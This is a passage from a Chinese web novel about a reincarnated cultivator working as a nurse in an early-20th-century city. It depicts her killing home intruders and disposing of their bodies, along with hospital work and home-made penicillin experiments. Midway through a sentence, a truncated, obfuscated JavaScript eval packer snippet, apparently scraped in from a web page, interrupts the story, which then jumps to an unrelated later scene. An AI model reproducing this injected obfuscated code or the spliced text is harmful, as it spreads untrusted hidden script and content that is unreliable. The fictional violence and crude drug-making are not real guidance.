当年种下的灵茶树已经成了乱七八糟的野茶,还是可以喝的,就是口感差,她会加入平城买的花茶一起泡了喝。边喝茶边蒸饭边做海鲜。黄酒葱姜蒜大大方方地放,虽然食用油调料品不是那么丰富,但原汁原味没有任何化学添加剂,还有各种手工酱料,吃得人心花怒放。红烧鱼,烤生蚝,青菜加进去大蒜炒一炒,配上一碗大米饭。很可以! 全部吃完,看看表,修炼一个小时。 然后她搬出来武.器收藏,比对着前段时间托房东太太的儿子买回来的木仓跟子.弹,最终还是拿了起码再过二十年才出品的一款,带消音抑制器。试了两发,能用,但还是挺响的,绝对会惊醒一堆人。然后又将上辈子做的短剑拿出来。这些就不用试了,她三天两头地练。 接着就是连发弓。这个弓更接近弩,箭也是专门做的配套短箭,一百米以内,连发十箭。上面的符术已经没用,但材料绝对都是好的,试了一回,可以做到十米穿喉。回到屋中,检查了下门窗,没有任何痕迹。然后大大方方开了会儿电灯看书。 没动静。 关灯,拉窗帘,再穿上棉衣裤和棉鞋,去院子里沿着围墙晃荡,还找出来一架已经有些年久失修的梯子。 九点多,一楼二楼的灯都熄了,只有楼道里有一盏小灯。 十点半十一点的时候,墙外有响动。 苏茜一直在调息,在有人找墙上事先打的洞时就停住,移到边上的树后,将弓端起,短刀则别在腰间。这个世界修不出修为、用不了神识,但可以做到健康强健、耳聪目明。 跳下来仨,墙外肯定还有人。但进来就这三个。 一人一箭。最后一个人喉咙里有声音,但被苏茜扑上去补了一刀。全部先扔岛上再说。 一切打斗不可能完全无声。可即使夜深人静,附近也不是一点声音也没有,鸟儿夜啼,风吹叶落,偶然路过的车声和人声。所以这点声音没有惊动房子里的人,外面放风的更以为是自家人搞出来的动静,还在琢磨是不是已经跳窗进二楼还是一楼的,然后就被踩在梯子上的人一箭穿胸。 梯子撑不住有些散架,幸好苏茜跳得及时,不然丢脸丢大发了。 从院门出去,装作听到不对劲出来察看,然后抬脚间将尸.体扔岛上——活人活物扔不了。路面上不多的血迹用树叶扒拉几下就不管了,只回来翻土,将院里地面上的脚印、梯子印和血迹都掩盖掉,回岛上先把尸.体扒了扔海里,箭支拔出来清洗晾干,然后回房间睡觉。 六点的闹钟,起来要修炼半小时再去医院吃早饭。入室劫匪的遗物最早也是今晚才有空处理。 15.当年的护士(二) “早,苏茜护士。” “早,莱文医生。” “我看了昨天的病历,你处理得很正确。” “谢谢!” “……” “……” 报纸上说西国很多人高热甚至咳血而死,结果其他国家也相继出现疫病大流行。几个医生在早餐桌上聊起了这事,然后延伸到细菌和病毒的辨别,一直讨论到办公室。反正现在无法检测白细胞,更勿论是哪一型流感了。上世纪末,本地一支教众打砸外籍医院、认为西医就是杀人,十年后才算正名,二十年后大城市和周边开始信任西医,但人们对西药更感兴趣。 最终,战争结束了。听说战火、饥饿和疫病让交战双方都无力继续,尤其是德国那里。反正外文报上都是谈判的消息,华语报则都是新任“老”总.统的生平履历和文章言论——她的文言文功底已经好了很多,但看起来依旧很吃力。反正各省没有出现你一上台我就出兵的说法,所以现在还是安全的。 苏茜当然没去打听去美国的途径费用。近代全球最著名的歧视案例——排华法案在大萧条时不仅达到一个小高峰还被政客们恶意引导出种.族冲突,也是最后几个给予女性选举权的系统性歧视的所谓文明国度,因此她这张黄种脸,宁愿去港城也不会考虑美国。至于狮城,抱歉,可能到她老死的时候才会把河水环境搞干净。而欧洲,二战后生活物资还配给呢,为了几根骆驼香烟能打起来的那种。在扶桑投降之前,她还是在家乡这片土地上当护士吧,大不了去战地医院工作! “普世欢腾,救主下降,大地接她的君王……” 圣诞节值班的苏茜,在食堂里用各种语唱各类圣诗,除了华语——她是真的不会。倒是有些“古老”的歌,她还记得一些歌词,但问题是现在这些歌还没有华语版,根本没法唱。所以,连盖尔语版的旧日时光,以及意语的重回索伦托。 “真好听,是意语吗?” “是的。索伦托是南部的一个海滨小镇,靠近那不勒斯。”她两辈子前去过,“光听歌词的话会觉得那里一定平静美丽。” “完全可以想象。”反正听不懂的肯定都是好的。 苏茜会一点钢琴,那是为了唱圣诗胡乱学的,所以唱歌都是清唱,哪怕是走调其他人也不知道。何况她这辈子的嗓音条件还行,配合出名优美的旋律,不可能太难听。 医护们都是外籍或是教会学校毕业的华籍,对圣诗之类接受良好。 可惜苏茜开的头让后面的人有些难以为继,大家勉强也弹唱几首歌之后,吃几块肉、碰个咖啡杯就散了——医院里绝不会出现喝酒误事的情况。 病人们大部分没有过圣诞节的习惯,但是他们很欢迎躺着无聊的时候听歌。于是苏茜在有病人的几个病房里给大家唱特意选的曲调优美的意语圣诗和民歌——听不懂就对了——第二天受到全体病人或家属的表扬。 这个连收音机都还没有的年代,娱乐生活只有舞厅、戏园子和无声电影——没有一样能戳中苏茜的兴趣,何况她真的没时间。看书、修炼和做饭吃就是睡眠之外的所有活动了。 房间里没有通暖气,用暖炉其实也还行,自来水的供应比公共水井里打水方便太多,所以卫生间里有浴缸和抽水马桶下水道以及两盏电灯和一个功率不大的插头、不另外算水电费,算是城里最先进的住所了,因此房租得花掉苏茜护士工资的三成。 哦,她今年拿到一笔假日夜班津贴,能付两个月的房租,不错不错。虽然她压根不在乎钱的事情,当上辈子挣的金山是假的啊!那真就是大把的金元。但她现在需要一个明面上的职业和正式收入,来应付这个时代对女性的不友好,包括比草木灰要强些的卫生脱脂棉和围兜布。至于她上上辈子习惯的卫生用品,搞不好要等到自己更年期的时候才问世。 无视路边乞丐,踩着雪回住处,靴子在清晨的积雪上发出轻微响声。这个地段出现的乞丐,有两成可能有问题。上次的入室劫匪全军覆没后,院子里可能没有新的闯入者——她经常不在屋子里包括夜晚,所以只能确定自己的院门、屋子大门和自己的房门没有强行闯入的痕迹。不过这也不能代表没法子混进来,所以她对自己的门窗都做了小机关。而且她如果睡在屋里、枕头底下是两柄飞刀,如果从岛上回屋,肯定是回关上门的卫生间并且手里有刀或剑。 墙边有脚印,不是皮鞋或房子里的人习惯穿的各类鞋。她停了片刻,继续回屋。 有人开过她的房门。 但屋子里没有钱或是任何值钱的小物件,全部是书。书有人翻动过。 她不能肯定是邻居们尤其是房东太太还是外来者。但她回来之后还碰到房东太太打过招呼,对方没有找她的意思——她今年的房租都付掉了,还送了一罐红茶。 所以,是拿撬锁工具的闯入者。 希望对方身上有战利品,别像上次那样除了几柄材质很差的匕.首和四块现金,啥都没有! 她先回岛上做饭修炼,并且睡了一觉。下午在屋里的炉子上热了下鸡排盖浇饭,吃饱喝足,没开灯,但是撤回门窗上的机关,在夜色中披着披风坐在床上打坐。 晚上十一点多,有人撬门进来,正暗喜可能得手的时候,一根金属带勒住他的脖子,生生将他勒死。 苏茜轻轻掩上门——这种老式的锁即使反锁也没啥用处——将尸.体扔在岛上,然后换上对方的皮鞋,外罩大衣和兜帽,无声无息地出门,走到巷子另一头的街道上,然后换上自己的鞋子回住处。 这小子今年从停战的欧洲跑来,是一楼邻居家的亲戚,刚来华不久,没有工作还啥都敢沾,连房东太太都不太满意。也算是为民除害了! 好歹搜出来一个怀表和二十块美钞,减轻一点没得睡好觉的郁闷。然后将其他没用的东西扔海里去。 五年里干掉两拨入室,这治安也是够呛,堪比当初号称全美暴力犯罪最多的城市,毕竟后者其实大部分都是突然起意的,而前者完完全全就是踩好点的那种。 她记得还有个乞丐盯过自己。每天真正睡觉的时候要么在医院值班室——医院的安全性高得多——要么在岛上,屋子里什么东西都没放。 但楼上房东太太家失窃了! “幸好!我的钱都在银行里,支票本也没有签过名。我丢了个首饰盒,但是结婚戒指和一条贵重项链都还在。”房东太太心疼得昏倒,还差点一病不起,但她也清楚,自家首饰盒里的一半是赝品,一整个的大概不到两百美刀。 可是!两百啊!现在能值三百多元,算得上大案了。 所以连警犬都来了。 “上个月吧,我连续好几天在靠近院门的地方看见一个小乞丐,大概十到十二岁的样子,女孩,应该是女孩,外表看起来像男孩。她似乎没有向我讨东西的意思,我只是惊讶对方是女孩,也没有说话留意。不知道这算不算异常。昨天晚上,睡觉前,一直到近九点的时候,我没有听到特别的响动。院门也没有开关的声音。” 本地的警察上门一个个笔录算是尽到责任。 然后就没有然后了。 这种盗窃在任何国家都有。所以全楼的人都开始在防盗和贵重物品保存上做文章。 “苏茜,你需要一起合租银行保险箱吗?”楼上的邻居来问。大家被失窃的事情吓得不轻,因为偷东西的人是在房东太太睡着的时候入室盗窃的,而之前还失踪过一个不受欢迎的人,搞不好两者有关联!也因此失踪者的亲属一句话也没多说,甚至已经不再打听亲戚的下落,所有人都觉得那个不学好的家伙已经加入了本地犯罪集团。 “我只有手表值大概二十块,没有首饰,身边最多五美刀现金,其他都在银行。房间里也就是纺织品和书籍,连金笔也没有。” 金属货币放山洞里,花旗银行里的纸钞折合两百多美刀。不过她考虑在大萧条之前将存款都取出来。说实话,如果能在大萧条前在纽约投机一把就好了,但她又不是什么权贵,一点也不想给关在隔离岛上被当成猪那样研究,因此哪怕是医院里有允许华裔医护自费赴美进修的机会她也没争取。 不过她参加了好几场海外护士注册考试,拿到好几个国家的护士证,得拿蜡纸木盒一层层封起来。颇为讽刺的是没有本国的证,因为本地只把女护士当作照顾女眷婴幼的医女,如果不是外国医院的存在和讲英语的习惯,不少人甚至将女护士归为女佣。 * * * 天气热了,人的情绪也开始热烈起来。 二楼邻居家的小姐恋爱了,对方当然是“老乡”。 而人们对欧洲的关注也空前高涨,每天都有大学生甚至中学生在散发单子,呼吁大家表达出收回殖民租界的诉求。 苏茜不支持,也不反对。表达有什么用?讲道理的范围就是炮.弹的射程,连土炮也造不出来、军官全部是境外培养导致见到老师不敢放一木仓的玩意,诉个球! 至于上街的男女学生们,她只能表示同情。男学生只有直面木仓炮才能明白什么叫话语权,女学生必须通过流血流汗才能争取到平等权利。自己想要的,永远只能自己去争取。 五月四号,学生们罢课上街,顺便将一个汉奸家给砸了。 苏茜他们医院距离运动场地很近,但没有接到什么伤亡。只是正常病人和产妇,当然肺病患者是具有传染性的,这已是医护的共识,所以肺病和产房等是从不同的通道进出。连护士也是去过肺病病房的起码两天都不去接触产妇婴儿。然后因为一名护士病倒,苏茜就被调去目前大家认为具有传染性的病房,当然工资也加了点。 就现在的医药水平,在没有青霉素和磺胺等抗菌药物甚至彻底消毒针头的前提下,苏茜并不认为护士得了肺结核能有啥好下场,所以她是唯一一个自费买口罩的人——现代的口罩都作为垃圾处理掉了。 可是,在无法修炼出修为的情况下,没有青霉素确实是件相当危险的事。她开始在岛上做试验。 青霉素的土制法乃至工具她收集了保存着的,就为了不时之需,甚至还在岛上做成功过。但这辈子还没试过,光是找发青的馒头就得自己上手,结果就是前前后后花了一个多月时间,做出来鸡吃了没有被杂质毒死、注射进这只鸡体内也没有出问题的青霉素。 为了测试,她给自己做了皮试,不过敏。 但是,问题来了:如果自己不幸染上肺结核或其他致死的细菌性传染病比如杆菌鼠疫,要注射多少剂量才能救命?这十几毫升的透明液体要稀释吗?要提纯吗?分多少次注射? 不,应该是要提纯。 话说,提纯晾干是需要25摄氏度吧。幸好山洞里的温度湿度和空气质量都比较合适,不然房间里华氏,不,摄氏30度的温度对药物而言偏高了。 阳历六月的天气,白天很热,早晚凉快。苏茜终于折腾出青霉素注射液,片剂是不用想了。然后就没有然后了。她无法确定安全有效的浓度,也没有冰箱,准确地说是很久很久之前的冰箱只能扔掉,现在是没有条件长时间保存青霉素注射液的,只能准备工具再把可以发霉的食物用玻璃罐装起来,放着长期发霉……其他试用时发现已经报废的医疗器械也只能扔。 可怜的海,因为现实里没地方扔这种太过“先进”的东西而成了垃圾场。 “……我也不知道那炉子烧什么,但肯定是油。所以煤油和汽油都给我打一罐吧。”她也有煤油炉,但主要就是想试验能不能用汽油发电机。这玩意她可是费了老大的劲清洁和封存的。 “……好的,但是,小姐,您至少要买一升。” “我知道。”苏茜摸出五银元二十铜币各买了一罐。目前银元的购买力还可以,就是金银兑换的比例,不同的时间地点人员可以差三倍,因此她都是直接去外国银行,起码那里贵金属纯度或纸钞真伪有保障,然后再存美刀或者换银元以及其他贵金属货币,比如没有降低白银含量的便士银币或是金法郎。她不戴任何首饰,也不穿值钱的衣服,一头自己剪的短发,每天不是护士服就是类似修女服的长袖长裙,天冷的话就是风衣、夹棉衣和棉衣,雨雪天一把超级大的素面油纸伞,要不是脚上是皮鞋或皮靴,整一个穷人。 煤油店老板给了她两个罐子。“用完拿这罐子来加。” “好的,谢谢。”苏茜提着两个灌满的罐子回到等着的人力车上。 隔天休息,她将汽油分别倒入小型发电机和便携发电机,煤油则倒进小户外炉子。 灯亮了! 可惜,现在没有冰箱这玩意,电灯进入很多家庭,有钱的还能装电话就已经很“现代”了,家用冰箱用的压缩机和氟利昂液估计还没有出现。 更别提青霉素。 苏茜将戴了一上午的口罩放入小铁壶里烧着的开水中,小铁壶则是放在小泥炉上,用一小块煤块烧着。然后拿了晒干的纱布口罩戴上。 “苏茜护士,我发现你把口罩放在水里要烧一会?” “是的,开水滚半个小时。虽然口罩用不了几次就坏了,但我认为这样会杀死大部分的细菌。当然不是全部,但总比什么都不做要好。”现在是纱布口罩!没有熔喷布,最外层甚至连防水功能都没有,实际上防护不了什么。 “哦!细菌。不过,还有病毒呢?!开水应该可以杀死吧?” “病毒太小了,口罩不能阻止病毒,只能阻挡一些细菌,不是所有的细菌。但是,戴了口罩总比没有戴好,不然如果病人是肺结核,护士也有可能染上。甚至是感冒病人也会传染给护士的,比如西国的那种流行感冒发热,口罩也是防不了的。只能靠我们自身的免疫力才能不死亡。” “……”好可怕!聊天的护士脸色全变了。不过她们说不出口罩无用的话,因为苏茜几乎是唯一一位工作以来从来没有病倒的护士。 “其实我还配合草药煮水喝来预防传染病,尤其是感冒。另外,着凉以后喝些草药水也有很好的作用。” “啊,能卖给我吗?” “我写出来,你们可以去草药店铺里买。当然我也可以代你们去买。” “哦!拜托帮我买吧,我给你钱,还有坐车的钱!我不认识那些草药,我担心对方不理解我说的是什么。”确切的说,她不知道对方是不是因为她不是华裔而卖给她其他的东西来冒充,这种事实在是太多了,普通的东西还行,药物这事不行啊! “好啊,我去买的时候给带你的。我会把配方、剂量和价格写下来,不用另外给我坐车的钱。” “啊,苏茜,也帮我买吧!这个需要每天喝吗?” “不,是接触的病人可能有传染性的时候喝。还有着凉喝的是性质完全不同的另一种。我会写好标签的。” “太感激了!麻烦你多买些,我们可以在休息室里学着煮。”草药学是非常古老的学问,医生们也经常用草药提取物。但大家对本地的草药都不怎么了解,而本地医生拒绝向徒弟和家属之外的人传授知识;医学书籍又没有几本翻译本,至于说原文……没人看得懂,包括苏茜本尊。 “没问题!”苏茜对中医诊脉一窍不通,但有收集过不少药方,天气转冷后也时不时煮药茶喝。 * * * “我以为会难以下咽。” “我加了几种味道比较好的原料,可能不利于药效,但起码喝起来不恶心,可以作为健康饮料。”罗汉果、黄精、蜜炙甘草等都是性价比挺高的调味剂,也跟大部分药物不冲突,她常备。 “确实呢!”灌下两杯茶水,今天下午喝的水也差不多了,上个厕所,回去干活。 两杯健康草药水也就花费一个十文铜币,这个消费水平完全可以接受!连医生们没事也会喝一杯,起码比汽水便宜健康。苏茜建议让食堂去采购,然后煮了放在饮料柜那里,连病人家属都会跑来买。尤其是苏茜要求杯子用自己的最好,如果提供的杯子就得用滚开的水煮半小时。不得不说,医护人员染病的数量确实少了一点——这个很难说是餐具沸水消毒还是喝草药茶的作用更大,反正苏茜自己是从来不用食堂里的杯碗刀叉直接吃的,盘子有时倒是会用一下。着凉或是传染上感冒,转成肺炎会死人的。她即使每天认真修炼习武,也就是强身健体,不可能真的啥都不惧。 下班后,苏茜在食堂吃了顿还算健康的晚餐才回去。夏季晚上快八点的时候天已经黑了,这一小片区域没什么杂院棚户,连佣人都是比较体面的。不少人也才坐车人力车回家,不少人出去应酬或约会,倒是这个时间点很少有小孩出来,更不会一群群衣衫不整地坐躺在马路边乘凉聊天。 苏茜拿着要清洗的护士服,身上亚麻色修女风长裙,平底凉皮鞋,素色纱头巾,老气但个性地踩着六亲不认、低头看路的步伐回去。 “苏茜护士。回家了?” “是的,海伦女士。你出门吃饭吗?” “是的。这个时间不太热不是吗?” “是啊,白天看到阳光都会头晕。” 两个人随口说了几句。对方的车到了,汽车。 苏茜礼貌道别,回岛上洗被套床单,这是项大工程。明天休假,期望岛上有太阳吧!如果下雨的话,还是得在现实里晾干。住的房子什么都好,但就是大家都不习惯在户外晾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且,好糟糕的手感!不管是装弹还是后座。不过二十米的靶子炸开花,五十米的也挺“好看”,说明威力不错。配得上一小箱子.弹所花出去的金锭——上上辈子这些也就值个一百美刀,还是通货膨胀后的币值。现在也得一百多,可见中间商们到底赚了多少钱。 练好木仓去赶海,捕鱼捞虾凿牡蛎捡蛏子,弄回来三桶带海水的海鲜。 苏茜打开一个云腿罐头,再炖上宰杀好的童子鸡以及土豆,加黄酒、米酒、去年自酿的葡萄酒和几个小辣椒。 然后去修炼。 一个多小时候后,练功结束,捞出一半汤料,再加蔬菜面条在小炉子上煮一下当午饭。其他的继续最小火炖到晚上当晚饭吃。 回到屋子里正是最热的夏日午后,前院的桦树遮挡了些阳光,让屋子不是热得如火炉。苏茜看了眼报箱,取出报纸放到小小的公共阅读角,还从走到附近的小贩手里买到几样水果。 有新鲜水果就不用买高价水果罐头了。 拿岛上清洗吃了,继续看书,有以前的积累,也有现在买的,并且尽量都背下来。纸张是会坏掉的,学到的东西目前看起来是不会坏的。 知识终归是有用的,即使是跳大神的知识,只要是对的、学到了都有好处。 比如在食堂简单饭前祷告的时候加入金光咒。虽然会将全天的修炼成果一扫而空,但是吧,觉得神清气爽! “苏茜护士真是虔诚。”留学归来的华籍医生叹了一句。这在没有出过国、也没有加入教堂的华籍女子里很少见。 “她以前就是见习修女,在教会诊所里行善。但是小教堂因为战争关闭了,修女们回意国去了,就留下她一个人,被推荐去护士学校学习。”苏茜的经历只要是稍微一打听就能知道,尤其是外籍医护基本都有所耳闻。“所以她除了英语还会意语和西语,法语也懂一点。” “真厉害!没有留学就能达到这样的水平。”尤其是工作很麻利,从不嫌累,对待各国病人也很有耐心,从不明示暗示要求加津贴。 “对,她是我们中最吃苦耐劳的,也值得信赖。”有华籍女工的忍耐,有外籍女性的凌厉,最重要的是她值的夜班是最多的,收入却不那么多,从不在休假时间计算上搞事情,还会用修女式的端庄替姑娘们挡下骚扰,让其他护士都有些不好意思。最让人愉快的是,苏茜搞出来的健康草药茶和她自己做的甜葡萄酒便宜得让所有不是很富裕的护士都能接受。 新来的医生点点头,能得到外籍护士一致好评的华籍护士很稀罕。 “这个伤员的弹片已经取出来了。” “麻醉还有效的话直接缝合吧。” “好的,医生。” “……” “……” 在没有专业麻醉医生的情况下,护士简直是全才。起码苏茜时这样觉得的。 能送来外国医院的都是有点钱或地位的,哪怕在战争期间。哦,又打起来了,这次距离平城非常近,不过战争的结果是这里的军队赢了,但大王又换人了…… 时值夏季,受伤感染简直是必然,能不能活命完全靠天意。 苏茜已经帮着抬了六具尸.体了——抬尸前她还会给一个极简的祷告。“求你收纳亡者,使他得到安息。愿众人都能在天国重逢,永享你的福乐。安息吧。” 意语腔的拉丁语。没人听得懂,但人人都懂她的十字手势,甚至记住了RIP。以至于其他华籍护士和工人也会用这三个字母配上合十的手势来表达一下哀悼,还有念佛号或道号的……用什么手势语言并不重要,只要心意到了就行。 唯一值得人安慰的是,现任大王也是掌兵的,为这些受伤军官付了合理的手术费和住院费。 “护士长,我这三天休假。要好好休息。” “哦,快走快走。你已经住在医院半个月了!”没有哪个护士像她这样连续加班加点,挖子.弹抬尸.体换床单什么都做的。真没有!“你现在就可以下班了。” “好的,谢谢!” …… 小贩整车的葡萄都让苏茜买下,因此车子是直接送到家,卸货到房门口再走的。苏茜给每家都送了一盘洗好、挑拣过的葡萄,一部分在屋子里制作,大部分都放到岛上制作葡萄酒。 她陆续买了好几车的葡萄和足足三十斤□□糖,大玻璃罐子和瓶子也多买了有好几车,蒸馏水设备也多买了一套。她自制的葡萄酒颜色偏淡、不算太甜,不光喝了美容,还可以做菜。光她自己一年就能消耗掉几十斤。 山洞里能摆放罐子的地方都塞满了。做酒的水是蒸馏水,风味是别想,但起码卫生安全! 连着下了三场雨,平城入秋。早晚的时候,苏茜开始穿上找裁缝新做的绒料外套。这个绒可比上上辈子买的、上辈子已经扔掉了的绒质量好得多,当然价格也高得多,一长一短两件加起来超过二十五块。 现在的毛衣价格也很可以,一言难尽的短款和单一的颜色居然要两块多,带着奇奇怪怪装饰的往往要五到十块甚至更高,定制就别指望了,花样更是没戏,因为没有专职织工、没人会织!所有苏茜无语地买了两件毛衣开衫和两条围巾,加起来十块,差不多十顿双人份铜锅涮羊肉。但如果叫她买个两块钱的羊毛线去织,又太浪费时间。唯一让人满意的是,现在的羊毛线是真羊毛,因为化纤比羊毛更贵,看进口尼龙袜和本地羊毛袜的价格就知道,还有长筒丝袜更是贵到离谱。 倒是本地产的真丝和丝棉的价格让人“惊喜”,一些丝质特产更是“便宜”到令人流泪,让她一时高兴买了三个金元,不,是小黄鱼,也不是,就是称重量的三个金锞子的素面桑蚕丝制品,一大包她只能坐车带回来。至于羊绒……反正这一片的店没找到。倒是毛裤和毛袜,还是沙俄革命前进口的,穿到现在仍然很好;至于秋裤、棉毛裤、线裤这种,暂时没看到有卖。 秋季的落叶是院子里的麻烦,不过苏茜“顺手”都给解决了。一簸箕一簸箕的落叶加上夜间捡的牲口粪便,做出来的营养土只够用来改善又被岛上雨水冲刷得有些贫瘠的土地。地里还种着野茶。 当年那些都是好灵茶呢!现在也就是不错的炒青。 而火灵木她舍不得砍,继续用营养土、鸡蛋壳等等养着,即使这些比当年的火灵木“退步”了不知道多少,可仍然比普通木头耐烧且坚硬,非钢锯钢斧和半小时的力气活搞不定一根树干。 很久以前的灵谷已经没用处了,结的谷子根本没法完全脱壳更不能吃,只得全部拔了烧成灰给树木改善土壤。 至于大棚蔬果,她真的没有精力去弄,有那空闲还不如认真修炼加罐头水果瓶装牛奶来得有效果。她半个小山洞的金元根本看不到减少的迹象。